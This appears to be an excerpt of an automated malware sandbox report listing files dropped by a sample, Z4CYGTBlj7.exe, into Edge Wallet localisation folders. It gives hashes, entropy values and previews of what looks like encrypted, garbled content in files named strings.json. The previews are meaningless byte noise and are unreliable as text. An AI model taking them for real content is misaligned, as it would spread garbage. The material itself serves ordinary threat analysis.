C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-mobile-hub\ja\strings.json

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	3615
Entropy (8bit):	7.941302809096701
Encrypted:	false
SSDEEP:	96:wjXAxf/YGUacpHN68xTzPer07q/2ebN4hcf2ckg+:wjMnY7ztnTz2rTN4qucp+
MD5:	1DE90B381E0C28603E9B91489E49D51E
SHA1:	124DF68D79D65E8233A2513C54FC5574FCCA0258
SHA-256:	C39E7FA026FA93A078D002CB2FEFBFE22EDF636587E2AFFF708B81245402332F
SHA-512:	765CFBBC057FAF874352FB7C428F508B3E48BFB88DB36BDA1D61DE9A705A13A0FC4DC3AA6AAF9087F21DF3730A07000F92BACC73C1F0FFFE5B2E1BBCE08CD8FD
Malicious:	false
Preview:	{. ".Hw..BF2J....PG.=`.....8&.R..m:.....SdF0C.).0....kTe?..B`._..%{....\.F......... `:=........r.<n.a...).o.O6.R..oo.j.1.h'.."..Cl.3J=..w..f.8u.../o.Z.E....f.qd...s.>.F_CuYS...\|..Z\|#...j....n..x..G.I\|..:.%.u...............k.].Z..p'.VX.....E.....O...y....C.5.Q.U<..>.RB.HEw..c.5.[..2;.;)./[.t..QZ.(..z\|..S{....XF..V....g;........H./m..a.Bt..(....e..1.FM}}..2}HO.._.&.!U.^.8..o.d.... ).GW.#...w..:..*..O....S..P.2.".......5...n........H.?..4.......Ey....}/o...rO..#......^eOH..<....g.@.h8..].@k...Hjy....%{m....7bT.r..lA{O{.&T.<m.O.#..6........P....;..c...Y./] Q,.O. .i..#._y......I..u..,.Us...Af......D.3.....w.-./.{h".z`.....W.....[..I.9.r.{..Q."Y.V~.(8T..T...-~6..G.......?u...,,.YI..j...m..K!U...uh....7L.~`.JBW\|..,.m. ........V..Pp/o?.2@.(h.u....S.....%.a.0.R...^..CX.XPU.........0......h......oH<..J.6..5.yu.Y.1..p%X<R.(....za..o1..Y\...g..(Tb.<.....7[....E'.v.. ._P.+..Mq..8A.......ePxI.1._G...ry."9.P.+?#..q..J.%..Y..5hF....V;....M.S..L....-...

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-mobile-hub\nl\strings.json

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	3243
Entropy (8bit):	7.941882135840605
Encrypted:	false
SSDEEP:	48:2A9iw6sEsq2RGs7bKnNVq9Fw39DQaTfghr0d4yZfDdx6IfowlKQFJVrnYSxHUDRB:2AN61svbDI39DQeotivfBsEtF3n5ARK+
MD5:	D48790A436DD8703DCEAEA2ECE5EC2C7
SHA1:	3AF34B33F629EC1027AC3711F9165C167037F492
SHA-256:	93CC77EE0D3680D8FC342EF341964EE5D6C5D951130D8BF562DEC403C3884C5A
SHA-512:	4014319C463EB82DF136AD8C29A400BAC7F273023BB73932C909320E7476E2231290207751952A0DB40BFF769C5113A5A8113F3C1AF566F5F775F41B2D13B873
Malicious:	false
Preview:	{. ".#.Z..k^...Q.-U..X.-..>.@t.Kv..E........B.\?.?..&.....\|n.[7A.....4.I..l51..`?].. .........&L..X...hD.V.2...t.K.q...V..........X..T......c.Ul.r.<K.UD2.......J..td....!i=~..6.......E.N.@E].C......{.q.L....4^...r...<..M...w.2.....Mh...{..$.......s..V\|.....9..h:.q.(Ui\...x..3!:...R..1..L.b...v..=I.1,...Q...&...B.x.kL#.d.......X.,j...i......}..BS/.(..f..m"34q-.!JpN..yL.v.1o......l],.`........RE..I....7........D............db.0.K......V...!3$...+.W..........s..n.p..... ..a.^.../....&...n...g..o...L-~Zl.dJ.~.W.co"1..m%....I.y.;....S.....pd .@F.3..y.)...^...@Wd..H..g...Z..[...k.i+....}.......4..{...j.a.'..z(Q%.....o8.U.h.J....+.......sp.C...'.n27...X.m.>{t..sx.?.Ld...s...7..dPjw.n...B..........%..i..&..t..00.C. e.......d>.u......8..q[...E..H8..qJf,..h..\|.e..V.H..L[.......[G........m..E.\|..O....<D....r.2.s..L..xf._.8....9.n*C..\/.h..Q.).\|..Q.....<..R...q.v...^.E....G....6R..........Y.....(I4z..[.~N...P..g^.D.a.[....V.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-mobile-hub\pt-BR\strings.json

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	3190
Entropy (8bit):	7.9462688365493435
Encrypted:	false
SSDEEP:	96:xIcckq41p3xJSeFMFkOBuHCkm4CCZRlO+:xI1ZkjScMFkWuHCkmNYO+
MD5:	460540BDCB3A58C6502F052D35144721
SHA1:	E87838A4AC91EFA752FB59EF9BDB82B62A0057A6
SHA-256:	5BF68DB16FD0909443A4184D62D473A615CDF1BFD1697EDEA271D3923A1E01ED
SHA-512:	EA6A76E8768BF062E4C25D2D4846608A6CF46DC4B8F9FCF0C10914FE7088C86E0BFB2EA95E1312E6E798228D44DF0533A0DDBBE9E8B293A315FB29503BB2F960
Malicious:	false
Preview:	{. "..Q}(.l.X%.#.....Q.=.A..JBn.D.F;.G......?d?guS.]....GV.#(....w'...?.?.u.R'}...Y[$...(.\|l.3In..2..$T?.[....Y..QU.r........I.tr..7.1...";.M..v.......s..~.M..:.z7^..^.t+L..Y.....{...j{...5.9.(.e.'r..u.o.!b.I.C..6"...;.)as.+K..z.B>.......v....u].....'....#....1...!.@.#i.f....X"(Ec..;......P\.I....?(..?...:.-8..~.\..]...W...}e8L.c.A!..N...Fz.[..j......6k..6Iv[:.NIFcnG".~...E.>J71n.=m.....O.9...C..Y#+:.8.R.Ua@....d.k.l....{.7.n,..B.y...f...Pe..... wyo..S4.L.......{..Q...k..6LaI.AZ..T..,...b...a.U~E...M.,.FJ......6H......9;..%..F...Q..^j.s...R............+...K..\|..d.9w..L4.W..v.....E.;.....z.p.y.....w...-..WOE.....?.....h.Tj..~1{..a....B..q.D.W.n.....=..w.T....=.HR^...].`qs..H.<;&(...((.V]y%d-....^..a}..d..:...[.g_..j.......6..+D..7s.. 9.lVf.@......f...c.A..^.bVE4v{,W.0....\..T.W...w..@=.........1.T..C5".....[..G.3....I......y..Xd...\|.....>...a(..d.s.f).!...>c).~...41..QW.."..FB....br.p..[....W.##.?D.A{k4k.?.nZ...one..y._'K.....u.;....7I.....

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-mobile-hub\pt-PT\strings.json

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	3300
Entropy (8bit):	7.941571622562073
Encrypted:	false
SSDEEP:	96:VlMV8G1xCzw2XBkpMQeghdt5Vec0OxHQdsK+:gV8GbCzlIei5Vh0OBi+
MD5:	6D4C1FD53F9637D3A77A5D984333B4CA
SHA1:	B7CF72FE24BA31074571AA8519885D075E2B9D19
SHA-256:	445A654EB03ADB6E71905FE94C6CB3ACF28DFD37C824841EA59E8304B70BE055
SHA-512:	FA7CA580433369D96DF2220F9B27AF45A7367B76252924219F1AFCEAA0E26DC289473BB1D382574CF8FFDCF142877E194806D1586A1C446AA3337A4E1DB66D69
Malicious:	false
Preview:	{. " .~=..x.l.9.[..{.....E.P..R..i...@[1..j......,Q...w..?..I..k..C+.y;Vi68A.(....o.Dqq....%\.R.?.i.0...7..../......>$0....[\.eO....eN&Jj.....V.-.j..@cu...!l....r.XtwEA.H..SE..s2...g.6.yh..GA.%.:..W.g...]K.:".N...a$.....#U.....O[.S.x_...z~..F.....<.....w h...4.b)..S..}b8.f@....,.6...6 P...iFV.~.\|i..FGGYs...>,m...4........\|J#....R..a..%...J..+..Xl..j0i[~/.... 5V.T^.."..$...p...u,.S.....9.h];..4...'..M.......&.}.-...Q...U..%..6..UBjA8W.v...Ah.)v..S...?.N...V$..7...y.g...F.,...{.9.P.%....3.B...(.(.2'2G....?x..k......)B.....J....."..A....3.E.]..O.......x...C.B...,.u.E........._.r%.d..,....y.......P..k....j.-..........Y.....x....A..\|...Z..b....jNK...4..vC.i....#...1",.y.[.m.;8..5.F.7.....u....y..sj........^H..6...f^w.....G.N.[=.."^Z:j...{.$g".f.1...../..[eg.F.>..s....7u..r..l......X.E.....Y.ZB.Q....I".....h.@.S3y}z..........Z.g.5..<.A..J.O....#j..im.....n..n....I.'k..L.G.IH..,?.~j..zf5...6....FZ....`.....&:.....ma(^&.....i..GK......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-mobile-hub\ru\strings.json

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	4040
Entropy (8bit):	7.94517849194034
Encrypted:	false
SSDEEP:	96:GHrMHKxRq/fPworWouXj5adwvdBAwT86WsdhDna+:GLeK8YouT5aqyiJ17na+
MD5:	D2724A1A2429594A1E25257E7A42EE5A
SHA1:	4F891DCFB19264908154493D5D5A9DC0F9806D19
SHA-256:	C08A8F93F1CE3832E46159EB2EE06F73C1251A624E184DDE1FDBC69400C27E0F
SHA-512:	849EA0409A9EF10B664F3ABDFE32FEB6E755DBB5594336D168806101683970E161E70CD69F4718A2E54D75D8013C20E47A1B6A56AD87F84EA8B7582F6D580B54
Malicious:	false
Preview:	{. "......tva>Y..<.~..em..o.n..#..O^...p.....(}.=&_U.....v.i........B..C.4v...T8i..............t:.p.A....:ya`xS...<[y.o...Ek.tN..asJ.z.....4...W .v....j.@...hw...>.e.?....5.....h.\|..r.?<.G..(._.]<Z5.18bw_...P.4v.n............k.>k.I#9., u......7Y.L..v.Jb.j7..`M...14...W.(.E...XB...K....$..-lV#n;..o....S.v+.~f..[...f..\xs..M....tIY~.H.....8Z.?.._....L........C2../aLd..U.tN..._......Rs.... .{C......m....b......g.^.).i.0..\|>5.....,..^XK.'.o.<.....Z.1_.u.%.......`>.N.@l=...m...$.%{I.."..Q[..wLZ.O}jo...V.....\|.n0.N.x..&.3.3..=AS.ie..6v..IF......cJ,...N...tK..N..(...B.bU..q.q\|.{}.r..5-D)...#m.....q-..O........\..H^.Z..F.7d..Y~..].yZ.....U..).1R.(v..`...m...w.....,e..U1.l.BF(B...K..s.L..].....e..O..U1>.$.:\|.......v.8.q7..H........8/.;.f.21.2....}"s"..+..QS.....8...]=.{...0W....,.f.4........jP.5..]wk....-.2...9.u...5"].-u...:I.[?xZ...d.`(.K$......C....i&D@Ha...A...:FZ.8.%.(...e..........}.S}......D..$..3.#......v..9&...\|n

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-mobile-hub\sv\strings.json

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	3179
Entropy (8bit):	7.941505983323495
Encrypted:	false
SSDEEP:	48:2mIrqQZivoaNQ27cYGQbinns47FgzpA5XSGghz7+0G8YpY5pQX5a19ZirhfmD:o5ivlGYveJgzpA1Sh+D6pniB+
MD5:	28B1E74521EEC21B63EDDE43666A0C75
SHA1:	1A397DF6AB5952158D0F6F2A5EB4898D6DF05AF5
SHA-256:	E2E9D858BC069DD184A704156A5D2CC3829B84D5C7DB9D7B7B5018614EE547E6
SHA-512:	4F76AA2259ABD8971991B40746AC3F1207F8C08E88A512DDDFE59E127CAFEEEDBEAD76DC123A11798021DC96100F49F9D20EC48FC9FEC3469DF1CE6529378234
Malicious:	false
Preview:	{. "l."...H..p.3..Fj.\|..a.....uQ.>='..&ijFD......X.X..:.....=.."..hA8k4..n..\..t....PqY.....w....`...D.\| ..B..W.B....e..M.Y....Q...&........O.vC,N...&Po.]3bA.D...x...R....m...>.=.m.7..>%1....)....7)y.Gr+....u..3.J.L.~TMW..;:....r....4.\....@0W>>..V..:X.fW.....}.>H.....}.om....G{....es.......H...&..Y.hZ...f2.7`....o.w...)7.o.k..p...V..b..a.O...J....A.c1..dU..(.......R..#..1..&/./..-0.E...-.>....=K.@...<.(.7...C?..4.s.x.......A...toH._.F...K...]tj..?.....%....5^..@...C.....I...\.}h.g..v..i.."..H1v._....f:.q.MW.......&.v....T...gy...(....0.pH.._.........1....t..PI.@....._j..r.C.]n.".........J...k..E.........fUYi...2.._UQ.....p....-.4}F.&..U..>..X.s..N.....zv......6.W..n....5f.Nn...[...\..\;...........R."R.Y..G..a..(z...x.$...!`....b.\..te.V .W.....U...vJps.7.MH..W....ze....@r..\...M&..wC..P..Ha..F.#p..M..MY.V!!.............J.V.....5...*n.(U..w...D].v,#C..,.q.T....nC.MHg........a.{...t... VV....k.{.._.....Y...T.'..l.tQ.&.T.1.y.Q..X..

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-mobile-hub\zh-Hans\strings.json

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	3047
Entropy (8bit):	7.93752241386439
Encrypted:	false
SSDEEP:	48:ik6urjZw5Pt76qxVkF6efMpbwwtwKY+OYmYdh8feUDe5Y/e++HNOGBTxAoaMurJ1:ik6urjZuNrxaATpzWmOfu6eUaK/eNzb6
MD5:	B59AA1C894716157A659CA2A82D4C095
SHA1:	F53EBFD83BF8876C3E4A333FC33C148DB22D4EC5
SHA-256:	06AC4EE367B01A2BB690F8F8DB5932D5FFF27D74DFD43909DE16195E4F75950A
SHA-512:	BADDF45CDE2419FD3266686885BF69EB376FAEF65415A04762D0D505F1E7816017483A992E02070D536700B9826646D7C8BD43B4FEB26F1DC8556DCB84624B97
Malicious:	false
Preview:	{. ".t..n.fd~.1..0..o...!.8......t.....C.@T^.}...0.kM..li......Vc......`k].....x..c...L..../.j..o....Zw,..h....%...%......s...K?....p. T..N..(.^L...G..`..p.[...aT........ i..F$..4.'.[/ap........0;..I....~<......,...e4_8.......".{},. .v..K'n.d.Y0c...K..B..~....s...e.............;f.I..H.\|h.O..;..-Pw......).+}2.&.@...u3p@.~I....R..Q.l..5.B.[..&e[...t..X.W.3.n4..\|c...Hq.f...)~......6c$..$S.k~....$.!&6G_..1o.0N...g..`.........R....u...'B$.a...(.\|.....i..kI{....1.MK$jsz.4....dp...9So{.z. P9.f...`..>..t..<.;K...n...o@2.....1..}.Yh...C.....?..-..........u.Lu.H...v.;J..@[..b.5,....).\|....!w/m+.h.....A..I#X-w.fA.....JD)..rM.....G..i...b..}l>v.9B..]4^..w!\|..j....]3.gSt..J..4l.... ."(+...J....?.B,./B.>".P.:..m+..{.d<.\.....@..6......{2.%..n..Ce..ud.%tc.w..R.....xV.c...%.e...(0b@.h.........D....:.o....s...M85(...w...G.C.&.k.X.v...:.:gC7$..P.~.-OOU...(..j+.y...BM..8.V...u...`...},.G[..'.8Z^....0...:%.S.J../..9s..6..h!.z..".vH.E.E....C..dM&VS7.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-mobile-hub\zh-Hant\strings.json

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	3045
Entropy (8bit):	7.9359986338782385
Encrypted:	false
SSDEEP:	48:5A+7OWZtq54JpthZ4K+6pbiyHQKCxfLfZvs/oVa39gRYl9k0RwoJ9I5fvy0mD:al54JpthZ4K+M3wRfLW/oYm+l2Q/9Ih4
MD5:	5CE1A9E04DC651C48CE7510CDF558F33
SHA1:	A253EEB6291A6ED40094C4CD4197A641B1D78F5D
SHA-256:	495F3C2BC0759C15DDAAC298DDAAB83571AE44EA47D7631C395B494FFFE0A0CC
SHA-512:	5BF76C8FFBA3E38D9D4352DA6CF78C242FDB6376F2A40C9A1D48A0232FB45DC28AF2B56BB66A414C62184C937A999D80236A8254737D809997C7E992983097D6
Malicious:	false
Preview:	{. "Xi.]..{.9.....9^Q.N.h..Vz..DV..`.6)@<S....6...i....b...vJ...%.n8....h...@...T..\|.u.....`.zZ...$..Lm/`..U.~t...@tu.......#;.=.0...6.4..T.X.........p...7...L./@..............T.4.X...kgG.[l...".v..&...L.T....b.\]..D........@.=...d^q..yY....-..<cy.^2%f%X..}\...........<.Dk..8.b6.M3n.^.....k2...].,G\...7...W..v.5O....q.E..>..B....R.U3'.@Jq(...t.B.....[._Xta....C..b.....g...%BZ1.......P........6X..j..faPz...(.....:...Nu........\|.M.L......a.j.f..D..f..B\|..{6.b\|"]l..3..6&....M..!.L......~_=ZC....p.d.s.w..^..}.p......T...\|..%.9.R...\C..iR.....Ndx!..s...&.........Qi".RF...a.L...?>&S.5-b....zBK.%...V.3.+..?..)t.%..o....[..z......'.dBI....2te.16._..}z......5...8..jc...!.%.{.lf....l~T....U\|0..mN=g{R..L...f.......t.2B....v5..%..l..i.%=4...[=+.s...C..u..87.ge.'/f...........y\xj.LI%].V[...Y..~..@:.h.......x.....o..i#.W..6.g.9H,>/..5%X;..AG.3..O&.l.n.s..U..W.A6.[...=.l...........o.~0...i...mp. g.h};.9...hf......f.tM`...ZR.p*...J.2.R..-Z..h"

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-notification-shared\ar\strings.json

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	7056
Entropy (8bit):	7.971430462131352
Encrypted:	false
SSDEEP:	192:miYaqiS7jvclvYMj7c2yS7jRYYFrsDlYPpZ4unV+:V9I6vJj7c2yS711M7uE
MD5:	78361FEA3D47ED7AB9542F9C361FD481
SHA1:	058F8E2CDB2698BD8830A8B312A0F8E02E88557D
SHA-256:	2617A8AE6135929B4D351940BBB740743C3117F0DD63E2E9D8C08237B4DAC556
SHA-512:	8345A93F3F6FC2C0B78D2E859B4B9331DD61AC5DDD635AD775BA4B5EF8F604E18292145377448F9F6DE1A299D8F8C8193C7133BDC7FFB8324BB155CBE77A6DEB
Malicious:	false
Preview:	{. ".i9..,. .8jC..U(..R.g.fT&}7Y.x..\4...$.w.\.@n.P..n.%w..B&......O..2...q.p.....^...n+....x.r?V...I..o...yq.T...f.e..7..\|..Ys....q...........n\|..C<...{N.._..n....A.....q.."\|...]...P>V...:.%.K....v....,.....%.]........W....G.....3...=....).b......"....P\|}#)...T.RB.....a..aCx._..I.zA. ..U..<rs}....k\|..a..(..S8.,p.j..)..'..Y,4.zK^").....=.;...4.v}......}.9#...z.p,..e>..!....-..Z.....-)...#.1."."..o.3....H..Ct...c...\...r...<WGf..(..d.......,c..QC.1c\. ...C".x^..N..K....(?.4AV.e......Wi.C..g.[...51..O....N:..1.G.o2.p.W..#.5.jU...M.HD.......}...jr...\'x.....U....&..J.R3.E05.}iIJk....6.`.]..Y.>...k..&....+.m24z....o..L...C...zu-.L.lF..N....m...}..K.$..?.x...X.dg(....".t...p.>f...^U.........@6.-y. ..fG..f...Xq.^g{..Vx..E.d...5.....e$..IH,}.U.._'..BP..J..S.ez@.-..q .\.v.~2c.....6.A.He.wY1(....jc....s..>..c]..Q.x.+B.s..Vg..M..._-9.........c~a.C.GjV.&.....i...l.O..R..K....I...O........8.XI.4.....y:..(.....{}.@......>st.si.1..3.9.......E...n

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-notification-shared\de\strings.json

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	6081
Entropy (8bit):	7.964747505590707
Encrypted:	false
SSDEEP:	96:N6r0EEP5kIkl/8lENKXGsJlXcwHL+RZDX3lMuw6cwwG3ZImJsL6L+:N6rhELkyuoX7JlXhHL+RZREHwwYZFJD+
MD5:	622834A7EAF22AC82513273BD58ECD11
SHA1:	C4A0EB55552ABBDE0F786D37DC208F14005E0C57
SHA-256:	F364C37ED39D7A0D3A09940966AB61A1B973C24F5901913573366C3730E0B147
SHA-512:	76620A5EAB6A20356DF1D3A49048CE7439FEB97E350C5B0491C89D771E5B4123558B2E718859B0D78FD1F628C6A5133BF178E26F40C8886C6B01F9B824B76941
Malicious:	false
Preview:	{. "T.....n....._... .o.. .$.e..i.j/.NC.n...q....phN.n4...f.J.r?..9fV.#\..3..r.^=.\|....g..s.Y.&.^.!e.".....%..R.}.8...2zP.....$...?.../..l.TAA4.-;a...k.;i..%=.n...GsX.:..Ih.[..5..Y:...\|"o..'.J...B.S.....%.3..8..;6X..[..M...(f......>..0..@.\{..D..m...........zh......J.).\|".g.....".N.......et6..u:..gH+L28P0.t......UJ........g..e2...4sK...}XR..qi..u..-.S..To.U....c.........<.`....,.....y....j..9.$....k......xk....O.!....R.a....;...6... Z....6y....r.._....>..>.]......cAK<..i...[..XKf......X..@.(..u?Gj..8..Hjt(+.q.?....^..u..:}...mz..Jz.....0wC_p.<..l.m#;.(.>F)..W.r,._.R.V.g>k..Ii.g.a..{.1i..We..o.....<...d\...E.gB......M..X...[....M...../..2....$...O.....)m.4 .Mv..K...3...'.a".cD..Nf .....T#.h.%......"+...3]#O.z.OD.p.q,f..L>...O.K..g....K...&...j.8. e...O_....,.#z...5....V.^S....1............<H.VO.E....\.-\|..%......F..7.n..'...qs..)2l..B..bu..`._J.Y.G..'.....{...\.....B,$....o...48N..QZ..6........=...G.Poj3#"....yGs.x..C"..7......f.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-notification-shared\en-GB\strings.json

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	5390
Entropy (8bit):	7.961369767164869
Encrypted:	false
SSDEEP:	96:dRUh0SStAuWYPF+ob7EleoeFVd/BNc3rFFwxi/JTb+:gy6I+477dpebFDJ3+
MD5:	7AA57CBCE22547BFC1F3DC6605191F12
SHA1:	49197CF502D29E2A6DBFE2825D5C8507D5A99AE1
SHA-256:	EB0A2A5CAE98758A82AF28EE12FC52C820493C0877EE2512E5EC3EA98401BF7B
SHA-512:	A89426180B51246D98C969036B95CDE5A214E022EC2C672BCC69821B3C0065C89FBD9CE7DAC617F5A22D63D712A2A8A7FC0F51781A76BC24818C351C3DA509FB
Malicious:	false
Preview:	{. "....W.$Q..g.z.L}.t.$.vo...>.$..8z4...Ta.H.......{...Cj............z..}.5l.....X......D.%PivAk....(.F{.X.V....S/......A.}....F....v.]-..w0\{.b....o.<f...P..........2!@q..).v..8.1......I.G;w...x..}g....[..T...X.E@...G.G[....A....o,I..]V..u%......(...m.......b)......h...Tm....1k0...ir.>x....O....-<....m...+'e.....D.`.T.7..........;..^N\|...n...).g...A..P....:.$oUJ^..{W.L.....k....z$....p.4...ki.....C..~5"....rHQ.[0..f..^5F=.Q7.}..........#.1&PQ...K..i..'.....B#....L^...%.#........L.....n...LL..o+.../.r.Q2._.#...<..J.oI.h5 Fy.A .........wH+..0%...,......V.Iha..._.......3.c&9... m..7`.y.5.G....<.o....0.W.W.K..:......B.3.._."iR&..+G^.n.C.8'...{.......KP.=Ah'4./.F.U...P.!.U.W..x..l..3...e......7J..."....y....B6q8.4@..f.7.....%d....Gm. ...5..`MF.<).....C.9RY0g.....5..4Qm.{s..P+7.?S.v..9.....N@'..E.4../8@rL.e..(...Fb.c.e.7.!.V&...8.......z.....`....4....`..D..^......_.B.K.".../O.f.5.S.W......z.y...F8v._.......FW.*].A$+x....TZ.(..)....Y

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-notification-shared\es\strings.json

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	5902
Entropy (8bit):	7.972150078917348
Encrypted:	false
SSDEEP:	96:U4EDiLKjh7zCt6EL5pPYGc1UPSspwTsPwWu5vhEULhjYGi/dLKbpr+:PEDDdzCth5CGQRspwTVCQaGi/Ub9+
MD5:	56C7FE51FEB586F354B119618D49AA7B
SHA1:	DBC691059B8C7A8C859BA6A31858C93E3CCDC76B
SHA-256:	44EB43C736E0D0207A6A837AAE53C69738207AD14711873F5468206936662232
SHA-512:	7E27929F3C1B361BBDBECD5DB429E5877E0C77BF220FEA273FBDA6E0C91B830822B6C22E2473A62CC5753D9852BA4332E19FC914CFF105F5A196FB793C53D8DB
Malicious:	false
Preview:	{. "...wJZ..B......s,...=...s..F.M/%.......@.aX.>G..'.++c....."=J...Orc..t.}....Eo=..+ ......9~!.?.BiQ..X..v....!..{.I0.V....m....Ue..Qe.O.+$.e.....ox...j{.}Yb..F.~X(..i..{..+..b.....wh.E.......R.1...>C<h%........N.w{..N5..+...?A..c....N....c.&.T.....!8a../.8.^.PV..c.....\#....L$.....!b....".t......5.w.j...yaLoJ...H.6-.V...L...Ev..;....j?Z.p..q...X.v.`OlO.C...;..U:=..,0Y..'.....q.~.n0...:...^...P&.,.).1.MP.2..SpOn.....d..0>..2T@,.od{a,9.e......~...$..../}.Jc.^..b...4KR3..`...:>x..-~..b..Yd....!..@....cgM...G?E.............)..#.X....JNm..6S....w.>;.E<....A>x..o(..k.S....Hr..yF...lv..hq.D...W....Ah.#..w..e8E.p...}..."....L........%.x...0.-w1=e..6UR<1....Rw`.U..TpE*.#+....<.'..q..2.L.....V}k..]...SoWK..k.....hz..RF....6.x....1lh0..F...$._.}G..,.K.P(.}.XE,...Mj.".'...N.....;.c".}..-..V.2..V.`..F..>....f....x..hg..A$..r..b............x.....+#.`:?#....t0.......Qt..z^..... .&l.:...nb.5,..P..9...89...,i..N..x...}.j....J......,b...9.?.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-notification-shared\fr-CA\strings.json

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	6225
Entropy (8bit):	7.967183070284006
Encrypted:	false
SSDEEP:	96:rvuvuaB6tMDrT+/bOLFGGKxlXHOzTQECiaxCKoAWjuvfi2Z47uZk+:b+z6t2rT+/bspiFOPQWKmjuv6Riq+
MD5:	23102F4D72751FABA03B6CDA0B24025D
SHA1:	7184016D52B66CA9DD9931F4934AADF2AFC87613
SHA-256:	063704B9E73340095EB50EC00B888FA0345944CFE4530D023C381F39DC1BBBAB
SHA-512:	525AEC3620EB029BA5A8F6E0E48CE4365150C3CE4A45694C3F1A1787FBA6A0CAD6793B062EF611EC8F4256F816B0FCA0452DF2BBB37669D6AD5E7823E7E2B862
Malicious:	false
Preview:	{. "..G.\|nW.k.....H._j.......3.=..w..\..0.....R.>....fh7.....^U...)...'...\m.?.<.`....(...EI..l.)..nm.\|.vU1[....y........~....v.O......z..<%.}.er.y......E....K...1.e........h.....~@we.r....+a..v.a9./.....iY.m.d.c;.y...x)..;.^.".D.=j.....>....;.l^..+........[......a...Kf..'...o...M....:`T{K..r.<..y\|...U....Z...P..T.N.a._.......G....<......g. A.E.......E....+..}.!o..).J......yW<.E.....?.u...:&2N..uNa4?...i?..x.$.J......._..i&R..x.....'.`.'.@....bcK_a 5.]h ..........f`aD^'...!k)..A...........Q.v.:....H.....Z.`....._..fn....a7..O..].&L...?.F2.Qp<.f..r@.EV.......ST..@...].K:U..?PY...s..f..D/...Jg.E+.rm=..4..._.6k..L..v..K[..~M.f.{P.h.$.J..I.ah....X."D?..2z._..Jt....,.0.S....`..Q.L.\|.f...y....fY.t-.....q.x...t..Q..J..9?..@..wD..o......[.....5A..#&8..z.D..3..D....kI....Q..SL...?.).n..X%.......7,.0!..........6.x.g.=,..9A...[j.w.Z\|s....l.../T....j.y...d1.H...)...9.v..n?S.X8.....).......%.dX^....GV.D'..v..&A...Y........'.z..uKQ....c..ww..

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-notification-shared\fr\strings.json

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	6225
Entropy (8bit):	7.965158102188062
Encrypted:	false
SSDEEP:	192:Ssqvd3Hu8Jl+3slWuoJqoGdzDVAKgziUXK+:cvdXzrK0B3oGdzD+9r
MD5:	1DEB4D48BAA84EED0D735B48978CB996
SHA1:	3B17454F460081FEF85990C8A071460F608AE2C2
SHA-256:	4D462B9BCCEEA66F171C38764FB9CE4FC8C787766E25E9EC940A9E2AAD7C80FA
SHA-512:	1479EAE956D97F39DAAB8846DEFB7EB3CA44BF83F9C90F0053BDFF6932FFA5D713706FE133C80F78439FD7DFEC29E633FFD4BE9623867A8260CA655C36EFBC16
Malicious:	false
Preview:	{. ".<.:....R../%....n......U[.'}V..lAG...1.ve..... h]Q...........G..#.k..._.<......).J .<......./..~...j.x..1.<W...-.x2.<...Sz...^....~.C.i..?j...L...P8....Z.A...w..BW..c...%"S........LG......a..qT.^...{...+..+.....S...T...G.'...<I........'px. \|.!....W..~....c7.,^.PU..'.....Yp..G..^.....t)...2.....b.....ZA..+~......{j.. ..r.W.6.. 